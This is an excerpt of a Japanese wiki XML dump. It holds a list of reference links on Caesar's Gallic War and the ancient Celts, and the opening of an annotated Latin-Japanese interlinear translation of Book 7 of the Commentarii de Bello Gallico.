***[[w:en:Roman military personal equipment]] - 古代ローマ軍の個人装備
***[[w:en:Military of ancient Rome]] - 古代ローマ軍
*フランス語版（fr）
**[[w:fr:Portail:Rome antique]] - 古代ローマのポータル
**[[w:fr:Portail:Monde celtique]] - '''ケルト世界'''のポータル
**[[w:fr:Catégorie:Cité gallo-romaine]] - ガッロ＝ローマン都市
***'''[[w:fr:Liste des noms latins des villes françaises]]''' - フランスの都市のラテン語名の一覧
****[[w:fr:Nemetacum (ville romaine)]] - 
**[[w:fr:Liste des peuples_gaulois en France]] - フランスにおけるガリア人（部族）の一覧
**[[w:fr:Catégorie:Personnalité gauloise]] - ガリアの人物カテゴリ
*'''イタリア語版'''（it）- 参考になる画像が多い
**[[w:it:Conquista della Gallia]] - '''ガリア戦争'''：画像が豊富。
**[[w:it:Esercito romano]] - ローマ軍
**[[w:it:Portale:Antica Roma]] - 古代ローマのポータル
**[[w:it:Portale:Celti]] - '''ケルト'''のポータル
*日本語版（ja）
**[[w:ja:Category:ガリア戦争]] - ガリア戦争のカテゴリ
**[[w:ja:ガリア戦争]]
**[[w:ja:ガリアの部族一覧]]

&lt;br&gt;

===ウィキソース===
*フランス語版
**[[s:fr:Auteur:Eugène Viollet-le-Duc]]&amp;nbsp;：&amp;nbsp;フランスの建築家&amp;nbsp;[[w:ウジェーヌ・エマニュエル・ヴィオレ・ル・デュク|ウジェーヌ・ヴィオレ＝ル＝デュク]]（&lt;small&gt;[[w:fr:Eugène Viollet-le-Duc|Eugène Viollet-le-Duc]]&lt;/small&gt;；1814-1879）の著作集
***[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle]]&amp;nbsp;：&amp;nbsp;『中世フランス建築体系辞典（11～16世紀）』（1856年発行）
***&lt;u&gt;[[s:fr:Dictionnaire raisonné de l’architecture française du XIe au XVIe siècle - Tome 5, Fossé]]&lt;/u&gt;&amp;nbsp;：&amp;nbsp;同書の第5巻「堀」（[[w:アレシアの戦い|アレスィア]]の攻囲陣地について記述がある）
****[[:commons:Category:Viollet-le-Duc]]：上掲書の図版のカテゴリ
****:[[:commons:Category:Fortification (Viollet-le-Duc)]]：　〃　（城砦）
****:[[:commons:Category:Weaponry (Viollet-le-Duc)]]：　〃　（兵器）
&lt;br&gt;

===ウィキコモンズ===
*ウィキコモンズのカテゴリ
**[[:commons:Category:Agedincum]]（アゲディンクム）；セノネス族の主邑で、現在の[[w:サン (ヨンヌ県)|サン]]
**'''[[:commons:Category:Alise-Sainte-Reine]]'''（アリーズ＝サント＝レーヌ）；[[w:アレシアの戦い|アレスィアの戦い]]の古戦場
***[[:commons:Category:Statue de Vercingétorix (Alise-Sainte-Reine)]]（アリーズ＝サント＝レーヌにあるウェルキンゲトリクス像）
**'''[[:commons:Category:Ambiorix]]'''（'''アンビオリクス'''）
**[[:commons:Category:Ancient Germanic history and culture]]（古代ゲルマニアの歴史と文化）
**'''[[:commons:Category:Ancient Rome]]'''（'''古代ローマ'''）
**[[:commons:Category:Ancient Roman archaeological sites]]（古代ローマの考古学遺跡）
**[[:commons:Category:Ancient Roman architecture]]（古代ローマの建築）
**[[:commons:Category:Ancient Roman battles]]（古代ローマの戦闘）
**[[:commons:Category:Ancient Roman castra]]（古代ローマの陣営）
**[[:commons:Category:Ancient Roman enemies and allies]]（古代ローマの敵と同盟者）
**[[:commons:Category:Ancient Roman forts]]（古代ローマの城砦）
**[[:commons:Category:Ancient Roman gentes]]（古代ローマの氏族）
**[[:commons:Category:Ancient Roman machines]]（古代ローマの機械）
**[[:commons:Category:Ancient Roman military equipment]]（古代ローマの軍事装備）
**[[:commons:Category:Ancient Roman military people]]（古代ローマの軍人）
**[[:commons:Category:Ancient Roman people]]（古代ローマの人々）
**[[:commons:Category:Ancient Roman provinces]]（古代ローマの属州）
**[[:commons:Category:Ancient Roman cities and villages]]（古代ローマ時代の都市や村）
**[[:commons:Category:Ancient Roman cities and villages in France by Latin name]]（古代ローマ時代の都市や村、フランスにあるラテン名のもの）
**[[:commons:Category:Ancient Roman wars]]（古代ローマの戦争）
**[[:commons:Category:Ancient weapons]]（古代の兵器）
**[[:commons:Category:Archaeology of Europe]]（ヨーロッパの考古学）
**[[:commons:Category:Archaeological sites in England]]（イングランドの考古学遺跡）
**[[:commons:Category:Aquila (Roman)]]（アクィラ、鷲の徽章）；ローマ軍団の象徴
**[[:commons:Category:Archery]]（アーチェリー、弓矢）
**[[:commons:Category:Atlas of Europe]]（ヨーロッパの地図集）
**[[:commons:Category:Auvergne]]（[[w:オーヴェルニュ地域圏|オーヴェルニュ地域圏]]）；[[w:アルウェルニ族|アルウェルニ族]]の本拠地だった地方
**[[:commons:Category:Avaricum]]（アウァリクム）；ビトゥリゲス族の主邑で、現在の[[w:ブールジュ|ブールジュ]]
**[[:commons:Category:Ballista]]（バリスタ）；投擲兵器、弩砲
**'''[[:commons:Category:Battle of Alesia]]'''（'''[[w:アレシアの戦い|アレスィアの戦い]]'''）
**:[[:commons:Category:Alise-Sainte-Reine]]（アリーズ＝サント＝レーヌ）；アレスィアの戦いの古戦場
**:[[:commons:Category:Site d'Alésia]]（アレスィア遺跡）；アレスィアの戦いの遺跡
**'''[[:commons:Category:Battle of Bibracte]]'''（'''ビブラクテの戦い'''）
**'''[[:commons:Category:Battle of Gergovia]]'''（'''[[w:ゲルゴウィアの戦い|ゲルゴウィアの戦い]]'''）＜[[:commons:Category:Gergovie|Category:Gergovie]]
**[[:commons:Category:Bibracte]]（ビブラクテ）；ハエドゥイ族の城市
**'''[[:commons:Category:Caesar's invasions of Britain]]'''（'''[[w:ローマによるブリタンニア侵攻 (紀元前55年-紀元前54年)|カエサルのブリタンニア侵攻]]'''）
**'''[[:commons:Category:Caesar's Rhine bridges]]'''（'''カエサルのライン川架橋'''）
**[[:commons:Category:Catapults]]（カタパルト）；投石器
**[[:commons:Category:Celtic_culture]]（ケルト文化）
**[[:commons:Category:Celtic languages]]（ケルト諸語）
**[[:commons:Category:Celtic mythology]]（ケルトの神話）
**[[:commons:Category:Celtic reenactments and reconstructions]]（ケルトの再演と復元）
**[[:commons:Category:Celtic symbols]]（ケルトのシンボル）
**[[:commons:Category:Celtic walls]]（ケルト人の防壁）
**[[:commons:Category:Celtism]]（ケルト主義）；現代のケルト運動
**'''[[:commons:Category:Celts]]'''（'''ケルト人'''）
**[[:commons:Category:Cévennes]]（セヴェンヌ山地）；[[w:中央高地 (フランス)|フランス中央高地]]南東部の山脈。ラテン名ケウェンナ Cevenna
**[[:commons:Category:Coins]]（貨幣）
**[[:commons:Category:Crossbows]]（クロスボウ）；石弓、弩(おおゆみ)
**[[:commons:Category:Defensive dykes in England]]（イングランドの守備堤防）
**[[:commons:Category:Druidism]]（ドルイド教）
**[[:commons:Category:Forts in England]]（イングランドの砦）
**[[:commons:Category:Fortification]]（要塞）
**'''[[:commons:Category:Caesar's Gallic war (1898)]]'''（『ガリア戦記』1898）
**'''[[:commons:Category:Gallic War]]'''（'''ガリア戦争'''）
**'''[[:commons:Category:Gauls]]'''（'''ガリア人'''）
**[[:commons:Category:Gergovie]]（ゲルゴウィア）；[[w:ゲルゴウィアの戦い|ゲルゴウィアの戦い]]があった古代の城市（現在の[[w:クレルモン＝フェラン|クレルモン＝フェラン]]近郊）＞[[:commons:Category:Battle of Gergovia|Category:Battle of Gergovia]]
**'''[[:commons:Category:Gladii]]'''（[[w:グラディウス (武器)|グラディウス]]）；古代ローマ軍の長剣
**[[:commons:Category:Category:Gnaeus Pompeius Magnus]]（[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]）
**[[:commons:Category:Hallein - Keltenmuseum]]（[[w:ハライン郡|ハライン]]・ケルト博物館）；オーストリア・[[w:ザルツブルク州|ザルツブルク州]]にあるケルト博物館
**[[:commons:Category:Hallstatt_culture]]（[[w:ハルシュタット文化|ハルシュタット文化]]）；中央ヨーロッパの前期ケルト文化
**[[:commons:Category:Henri-Paul Motte]]（[[w:アンリ＝ポール・モット|アンリ＝ポ－ル・モット]] [[w:fr:Henri-Paul Motte|Henri-Paul Motte]]はウェルキンゲトリクスを描いたフランスの画家）
**[[:commons:Category:Iron Age Britain]]（鉄器時代のブリテン）
**'''[[:commons:Category:Iulius Caesar]]'''（'''ユリウス・カエサル'''）
**[[:commons:Category:La Tène culture]]（ラ・テーヌ文化）；中央ヨーロッパの後期ケルト文化
**'''[[:commons:Category:Latin]]'''（'''ラテン語'''）
**[[:commons:Category:Lionel-Noël Royer]]（[[w:リオネル＝ノエル・ロワイエ|リオネル＝ノエル・ロワイエ]] [[w:fr:Lionel Royer|Lionel-Noël Royer]]はウェルキンゲトリクスを描いたフランスの画家）
**[[:commons:Category:Loire River]]（[[w:ロワール川|ロワール川]]）；ローマ時代のリゲル川 [[w:la:Liger|la:Liger]]
**[[:commons:Category:Maps of ancient Rome]]（古代ローマの地図）
**[[:commons:Category:Maps of ethnic groups]]（民族集団の地図）
**'''[[:commons:Category:Maps of Gauls]]'''（'''ガリア人の地図'''）
**[[:commons:Category:Maps of the British Isles]]（ブリテン諸島の地図）
**[[:commons:Category:Maps of the history of Europe]]（ヨーロッパ史の地図）
**[[:commons:Category:Maps of the history of France]]（フランス史の地図）
**[[:commons:Category:Maps of Roman Gaul]]（ローマ支配下のガリアの地図）
**[[:commons:Category:Maps of the Roman Republic]]（共和政ローマの地図）
**[[:commons:Category:Maps relating to Celts]]（ケルト人に関連する地図）
**[[:commons:Category:Maps showing 1st-century BCE history]]（BC1世紀の地図）
**[[:commons:Category:Massif Central]]（[[w:中央高地 (フランス)|フランス中央高地]]）；[[w:アルウェルニ族|アルウェルニ族]]の勢力圏だった高地
**[[:commons:Category:Medieval weapons]]（中世の兵器）
**'''[[:commons:Category:Military equipment of Ancient Rome (reconstructed)]]'''（復元された古代ローマの軍事装備）
**[[:commons:Category:Military of Ancient Rome]]（古代ローマの軍事）
**'''[[:commons:Category:Murus gallicus]]'''（ガリア式城壁）；ビブラクテの城壁など
**[[:commons:Category:Narbonne]]（[[w:ナルボンヌ|ナルボンヌ]]）；古代ローマの植民市ナルボ [[w:la:Narbo|la:Narbo]]
**[[:commons:Category:Navy of ancient Rome]]（古代ローマ海軍）
**[[:commons:Category:Old maps of Europe]]（ヨーロッパの古地図）
**[[:commons:Category:Oppidum]]（オッピドゥム）；ガリアなどの城市
**[[:commons:Category:Prehistoric Britain]]（先史時代のブリテン）
**[[:commons:Category:Religion in ancient Rome]]（古代ローマの宗教）
**[[:commons:Category:Roman deities]]（ローマの神々）
**[[:commons:Category:Roman Empire]]（帝政ローマ）
**[[:commons:Category:Roman Gaul]]（ローマ支配下のガリア）
**[[:commons:Category:Roman Germania]]（ローマ領ゲルマニア）
**[[:commons:Category:Roman legion]]（ローマ軍団）
**[[:commons:Category:Roman Legions Reenactment]]（ローマ軍団の再演）
**[[:commons:Category:Roman mythology]]（ローマ神話）
**[[:commons:Category:Roman Republic]]（共和政ローマ）
**[[:commons:Category:Roman weapons]]（ローマの兵器）
**[[:commons:Category:Siege equipment]]（攻城の道具）
**[[:commons:Category:Siege towers]]（攻城櫓）
**[[:commons:Category:Site d'Alésia]]（アレスィア遺跡）；[[w:アレシアの戦い|アレスィアの戦い]]の遺跡
**[[:commons:Category:The Comic History of Rome]]（「漫画ローマ史」）
**[[:commons:Category:Tongeren]]（[[w:ベルギー|ベルギー]]の[[w:トンゲレン|トンゲレン]]市）＝古代の城市アドゥアトゥカ
**'''[[:commons:Category:Vercingetorix]]'''（'''ウェルキンゲトリクス'''）
***[[:commons:Category:Statue de Vercingétorix (Alise-Sainte-Reine)]]（アリーズ＝サント＝レーヌにあるウェルキンゲトリクス像）
***[[:commons:Category:Statue of Vercingetorix in Clermont-Ferrand]]（クレルモン＝フェランにあるウェルキンゲトリクス像）
**[[:commons:Category:1st century BC]]（BC1世紀）

**[[:commons:　]　]

*ウィキコモンズの記事ページ
**[[:commons:Atlas of the United Kingdom]]（イギリスの地図集）
**[[:commons:Atlas of Europe]]（ヨーロッパの地図集）
**[[:commons:Atlas of France]]（フランスの地図集）
**[[:commons:Celts]]（ケルト人）


**[[:commons:　]　]</text>
      <sha1>0hj8o8zkrjr3ifcgvotqn5sqd24uykz</sha1>
    </revision>
  </page>
  <page>
    <title>ガリア戦記 第7巻</title>
    <ns>0</ns>
    <id>12163</id>
    <revision>
      <id>305256</id>
      <parentid>305139</parentid>
      <timestamp>2026-11-01T07:25:12Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 36節 */ 修整</comment>
      <origin>305256</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="561086" sha1="5907agxwa6bke9sls6yyqvfjr6ycgb5" xml:space="preserve">[[Category:ガリア戦記|7]] [[Category:ガリア戦記 第7巻|*]]
[[ガリア戦記]]＞&amp;nbsp;'''第7巻'''&amp;nbsp;＞[[ガリア戦記 第7巻/注解|注解]]
&lt;div style=&quot;text-align:center&quot;&gt;
&lt;span style=&quot;font-size:20px; font-weight:bold; font-variant-caps: petite-caps; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;C&amp;nbsp;IVLII&amp;nbsp;CAESARIS&amp;nbsp;COMMENTARIORVM&amp;nbsp;BELLI&amp;nbsp;GALLICI&amp;nbsp;&lt;/span&gt;

&lt;span style=&quot;font-size:40px; font-weight:bold; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;LIBER SEPTIMVS&amp;nbsp;&lt;/span&gt;
&lt;/div&gt;
[[画像:Gaule -52.png|thumb|right|150px|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。]]

{| id=&quot;toc&quot; style=&quot;align:left;clear:all;&quot; align=&quot;left&quot; cellpadding=&quot;5&quot;
! style=&quot;background:#ccccff; text-align:left;&quot; colspan=&quot;2&quot; | ガリア戦記 第7巻 目次
|-
| style=&quot;text-align:right; font-size: 0.86em;&quot;|
'''[[#カルヌーテース族の蜂起|カルヌーテース族の蜂起]]''':&lt;br /&gt;
'''[[#ウェルキンゲトリークスとガッリア同盟軍の蜂起|ウェルキンゲトリークスとガッリア同盟軍の蜂起]]''':&lt;br /&gt;
&lt;br /&gt;
'''[[#アウァーリクム攻略戦|アウァーリクム攻略戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ゲルゴウィア攻略戦、ハエドゥイー族の離反|ゲルゴウィア攻略戦、ハエドゥイー族の離反]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ラビエーヌスのルテティア遠征|ラビエーヌスのルテティア遠征]]''':&lt;br /&gt;
'''[[#ガッリア戦乱の拡大|ガッリア戦乱の拡大]]''':&lt;br /&gt;
'''[[#アレスィア攻囲戦|アレスィア攻囲戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ガッリア同盟軍主力の降伏|ガッリア同盟軍主力の降伏]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| style=&quot;text-align:left; font-size: 0.86em;&quot;| 
[[#1節|01節]] |
[[#2節|02節]] |
[[#3節|03節]] &lt;br /&gt;
[[#4節|04節]] |
[[#5節|05節]] |
[[#6節|06節]] |
[[#7節|07節]] |
[[#8節|08節]] |
[[#9節|09節]] |
[[#10節|10節]] &lt;br /&gt;
[[#11節|11節]] |
[[#12節|12節]] |
[[#13節|13節]] &lt;br /&gt;
[[#14節|14節]] |
[[#15節|15節]] |
[[#16節|16節]] |
[[#17節|17節]] |
[[#18節|18節]] |
[[#19節|19節]] |
[[#20節|20節]] &lt;br /&gt;
[[#21節|21節]] |
[[#22節|22節]] |
[[#23節|23節]] |
[[#24節|24節]] |
[[#25節|25節]] |
[[#26節|26節]] |
[[#27節|27節]] |
[[#28節|28節]] |
[[#29節|29節]] |
[[#30節|30節]] &lt;br /&gt;
[[#31節|31節]] &lt;br /&gt;
[[#32節|32節]] |
[[#33節|33節]] |
[[#34節|34節]] |
[[#35節|35節]] |
[[#36節|36節]] |
[[#37節|37節]] |
[[#38節|38節]] |
[[#39節|39節]] |
[[#40節|40節]] &lt;br /&gt;
[[#41節|41節]] |
[[#42節|42節]] |
[[#43節|43節]] |
[[#44節|44節]] |
[[#45節|45節]] |
[[#46節|46節]] |
[[#47節|47節]] |
[[#48節|48節]] |
[[#49節|49節]] |
[[#50節|50節]] &lt;br /&gt;
[[#51節|51節]] |
[[#52節|52節]] |
[[#53節|53節]] |
[[#54節|54節]] |
[[#55節|55節]] |
[[#56節|56節]] &lt;br /&gt;
[[#57節|57節]] |
[[#58節|58節]] |
[[#59節|59節]] |
[[#60節|60節]] |
[[#61節|61節]] |
[[#62節|62節]] &lt;br /&gt;
[[#63節|63節]] |
[[#64節|64節]] |
[[#65節|65節]] |
[[#66節|66節]] |
[[#67節|67節]] &lt;br /&gt;
[[#68節|68節]] |
[[#69節|69節]] |
[[#70節|70節]] &lt;br /&gt;
[[#71節|71節]] |
[[#72節|72節]] |
[[#73節|73節]] |
[[#74節|74節]] |
[[#75節|75節]] |
[[#76節|76節]] |
[[#77節|77節]] |
[[#78節|78節]] |
[[#79節|79節]] |
[[#80節|80節]] &lt;br /&gt;
[[#81節|81節]] |
[[#82節|82節]] |
[[#83節|83節]] |
[[#84節|84節]] |
[[#85節|85節]] |
[[#86節|86節]] |
[[#87節|87節]] |
[[#88節|88節]] &lt;br /&gt;
[[#89節|89節]] |
[[#90節|90節]] &lt;br /&gt;
[[#脚注|脚注]]&lt;br /&gt;
[[#参考リンク|参考リンク]]&lt;br /&gt;
|}
&lt;br style=&quot;clear:both;&quot; /&gt;
__notoc__

==カルヌーテース族の蜂起==
===1節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/1節]]　{{進捗|00%|2025-10-26}}&lt;/span&gt;
[[画像:Maccari-Cicero.jpg|thumb|right|250px|[[w:カティリナ弾劾演説|カティリーナ弾劾演説]]をする[[w:マルクス・トゥッリウス・キケロ|キケロー]](左中央)（チェザレ・マッカリによる19世紀のフレスコ画）。[[w:プブリウス・クロディウス・プルケル|クローディウス]]はこれを越権行為であるとして、カエサルの政敵となっていたキケローを一時的に亡命へ追い込み、ついにはキケローの友人ミローの配下によって殺害された。]]
[[画像:Pompei_Magnus_Antiquarium.jpg|thumb|right|250px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の胸像。クローディウス殺害に伴う騒乱を収拾するべく、[[w:元老院|元老院]]によりポンペイウスが単独の[[w:執政官|執政官]]に選出され、首都ローマと本土イタリアを制圧した。一方、カエサルも属州で新たに徴兵して兵力を増した。元老院派はカエサルの勢力が強大になることを恐れて、カエサル自身から将兵を取り上げて召還すべきと主張したが、ポンペイウスは不和を避けて宥和を図った。]]
:　
;首都ローマの政情不安、ガッリア人領袖たちの謀計
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:quietus#Latin|Quieta]] [[wikt:en:Gallia#Latin|Gallia]], 
**[[w:ガリア|ガッリア]]が鎮定されると、
*Caesar, ut [[wikt:en:constituerat|constituerat]], 
**カエサルは、定めていたように、
*in [[wikt:en:Italia#Latin|Italiam]] ad [[wikt:en:conventus#Noun|conventus]] [[wikt:en:agendus#Latin|agendos]] [[wikt:en:proficiscitur|proficiscitur]]. 
**イタリアに、巡回裁判を行なうために出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、カエサルの属州であった&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]を指す。&lt;br&gt;　　　　カエサルは、巡回裁判を除けば、おもに[[w:ラヴェンナ|ラウェンナ]]に&lt;br&gt;　　　　滞在していたと考えられる。[[内乱記_第1巻#5節|『内乱記』第1巻5節]]を参照。）&lt;/span&gt;
:　
*[[wikt:en:ibi#Latin|Ibi]] [[wikt:en:cognoscit|cognoscit]] de &amp;lt;P.&amp;gt; [[wikt:en:Clodius#Latin|Clodii]] [[wikt:en:caedes#Latin|caede]], 
**そこで[[w:プブリウス・クロディウス・プルケル|プーブリウス・クローディウス]]の殺害について知って、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：クローディウスは護民官を務めた&lt;ruby&gt;&lt;rb&gt;[[w:ポプラレス|民衆派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ポプラレス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の政治家で、&lt;br&gt;　　　　カエサルから恩義を受けていた。&lt;br&gt;　　　　　かの弁論家[[w:マルクス・トゥッリウス・キケロ|キケロー]]やその友人ティトゥス・ミロー [[w:la:Titus_Annius_Milo|Milo]] ら&lt;br&gt;　　　　&lt;ruby&gt;&lt;rb&gt;[[w:オプティマテス|元老院派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプティマテス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; と激しく対立し、ミローの配下によって殺害された。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;P.&amp;gt; ([[wikt:en:Publius#Latin|Publii]]) 「プーブリウスの」は &amp;rho;系写本にのみ記されている。）&lt;/span&gt;
*&amp;lt;de&amp;gt; &lt;u&gt;senatus&lt;/u&gt;que &lt;u&gt;consulto&lt;/u&gt; [[wikt:en:certior#Latin|certior]] [[wikt:en:factus#Participle|factus]], ut omnes [[wikt:en:iunior#Latin|iuniores]] Italiae [[wikt:en:coniurarent|coniurarent]], 
**イタリアの全青年に&lt;small&gt;（新兵として）&lt;/small&gt;宣誓するようにとの元老院決議について知らされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この事態を収拾すべく元老院派の[[w:グナエウス・ポンペイウス|ポンペイウス]]が単独の執政官&lt;br&gt;　　　　（''[[w:de:Consul sine collega|consul sine collega]]''）に選任されて本土イタリアを掌握した。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;de&amp;gt; は現存する写本にはなく、近世以降に挿入提案されたもの。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;nbsp;　[[wikt:en:senatus_consultum#Latin|senātūs cōnsultum]] ([[wikt:en:ultimus#Latin|ultimum]]) 「[[w:セナトゥス・コンスルトゥム・ウルティムム|元老院(の最終)決議]]」&lt;br&gt;　　　； dē [[wikt:en:senatus_consulto#Latin|senātūs cōnsultō]] 「元老院決議について」）&lt;/span&gt;
*&lt;u&gt;dilectum&lt;/u&gt; [[wikt:en:totus#Latin|tota]] [[wikt:en:provincia#Latin|provincia]] habere [[wikt:en:instituo#Latin|instituit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;属州&lt;small&gt;〔ガッリア・キサルピーナ〕&lt;/small&gt;全体での徴集をすることを決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:dilectus#Noun|dilectum]] は、[[wikt:en:delectus#Noun_2|delectum]] と表記している校訂版もある。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eae res in Galliam [[wikt:en:transalpinus#Latin|Transalpinam]] celeriter [[wikt:en:perferuntur|perferuntur]]. 
**その状況は、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に速やかに報知された。
:　
*[[wikt:en:addunt|Addunt]] ipsi et [[wikt:en:adfingunt|adfingunt]] [[wikt:en:rumor#Latin|rumoribus]] [[wikt:en:Galli#Latin|Galli]], 
**[[w:ガリア人|ガッリア人]]たち自身が風評に想像して付け加えたのは、
*quod res [[wikt:en:poscere|poscere]] [[wikt:en:videbatur|videbatur]]: 
**事態が要求すると思われていたことで、
*[[wikt:en:retineri|retineri]] &lt;u&gt;urbano&lt;/u&gt; [[wikt:en:motus#Noun_2|motu]] Caesarem 
**カエサルは、都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の騒乱に束縛されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:urbanus#Adjective|urbānus]] は「都市の」「都会の」と訳されるが、&lt;br&gt;　　　　とりわけ「首都[[w:ローマ|ローマ市]]の」を意味する。）&lt;/span&gt;
*neque in [[wikt:en:tantus#Latin|tantis]] [[wikt:en:dissensio#Latin|dissensionibus]] ad [[wikt:en:exercitus#Noun|exercitum]] venire posse. 
**これほどの対立においては、軍隊のもとへ来ることができない、&lt;br&gt;ということである。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Hac [[wikt:en:impulsus#Participle|impulsi]] [[wikt:en:occasio#Latin|occasione]], 
**このような好機に刺激されて、
*qui iam ante se [[wikt:en:populus#Noun|populi]] Romani [[wikt:en:imperium#Latin|imperio]] [[wikt:en:subiectus#Latin|subiectos]] [[wikt:en:dolerent|dolerent]], 
**すでに以前から自分たちがローマ国民の支配に服属させられているのを悲嘆している者たちは、
*[[wikt:en:libere#Adverb_2|liberius]] atque [[wikt:en:audacter#Latin|audacius]] de bello [[wikt:en:consilium#Latin|consilia]] [[wikt:en:inire|inire]] [[wikt:en:incipiunt|incipiunt]]. 
**より自由に、かつ、より向こう見ずに、戦争について謀議に取りかかり始める。
:　
[[画像:Brennus_mg_9724.jpg|thumb|right|250px|[[w:ブレンヌス|ブレンヌス]]の胸像。BC4世紀（[[w:紀元前387年|387年]]）に、ローマ軍を破って、ローマ市を占領した。アッコーと同じセノネース族の族長だったとされている。]]
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indictus#Latin|Indictis]] inter se principes Galliae [[wikt:en:concilium#Latin|conciliis]] [[wikt:en:silvestris#Latin|silvestribus]] ac [[wikt:en:remotus#Latin|remotis]] locis 
**ガッリアの領袖たちは、森林や人里離れた場所での会合を互いに申し合わせて、
*[[wikt:en:queruntur|queruntur]] de [[wikt:en:Acco#Latin|Acconis]] [[wikt:en:mors#Latin|morte]]; 
**アッコーの死について嘆く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[ガリア戦記 第6巻#44節|第6巻44節]]を参照。）&lt;/span&gt;
*&lt;u&gt;posse&lt;/u&gt; hunc [[wikt:en:casus#Latin|casum]] ad ipsos [[wikt:en:recidere#Verb_4|recidere]] [[wikt:en:demonstrant#Latin|demonstrant]]; 
**彼&lt;small&gt;〔アッコー〕&lt;/small&gt;の結末が彼ら自身へ降りかかりうることを説く。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:posse#Verb|posse]] の位置は、&lt;br&gt;　　　　&amp;alpha;系写本では hunc の前だが、&lt;br&gt;　　　　&amp;beta;系写本では hunc casum ad ipsos  recidere &lt;u&gt;posse&lt;/u&gt; demonstrant &lt;br&gt;　　　　となっている。）&lt;/span&gt;
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt;  [[wikt:en:miserantur|miserantur]] [[wikt:en:communis#Latin|communem]] Galliae [[wikt:en:fortuna#Latin|fortunam]]; 
**ガッリア共通の境遇をあわれむ。
*omnibus [[wikt:en:pollicitatio#Latin|pollicitationibus]] ac [[wikt:en:praemium#Latin|praemiis]] [[wikt:en:deposcunt|deposcunt]] 
**&lt;small&gt;（以下の者たちを）&lt;/small&gt;あらゆる約束と恩賞によって求める。
*qui [[wikt:en:bellum#Latin|belli]] &lt;u&gt;initia&lt;/u&gt; [[wikt:en:faciant|faciant]] et sui [[wikt:en:caput#Latin|capitis]] [[wikt:en:periculum#Latin|periculo]] Galliam in [[wikt:en:libertas#Latin|libertatem]] [[wikt:en:vindicent|vindicent]]. 
**戦端を開いて、自らを危険にさらしても、ガッリアを解放する者たちを。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ in libertatem vindicare；～を解放する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:initia#Latin|initia]] (複数形) だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:initium#Latin|initium]] (単数形) となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; In primis [[wikt:en:ratio#Latin|rationem]] esse [[wikt:en:habendus#Latin|habendam]] [[wikt:en:dicunt|dicunt]], 
**とりわけ、&lt;small&gt;（以下のような）&lt;/small&gt;方策を採るべきであると述べる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_primis#Latin|in primis]] は、[[wikt:en:inprimis#Adverb|
inprimis]] と表記している校訂版もある。）&lt;/span&gt;
*[[wikt:en:priusquam#Latin|prius quam]] eorum [[wikt:en:clandestinus#Latin|clandestina]] consilia [[wikt:en:efferantur|efferantur]], 
**彼らの秘密の計画が漏らされるより前に、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：反ローマの挙兵のはかりごとが漏れる前に）&lt;/span&gt;
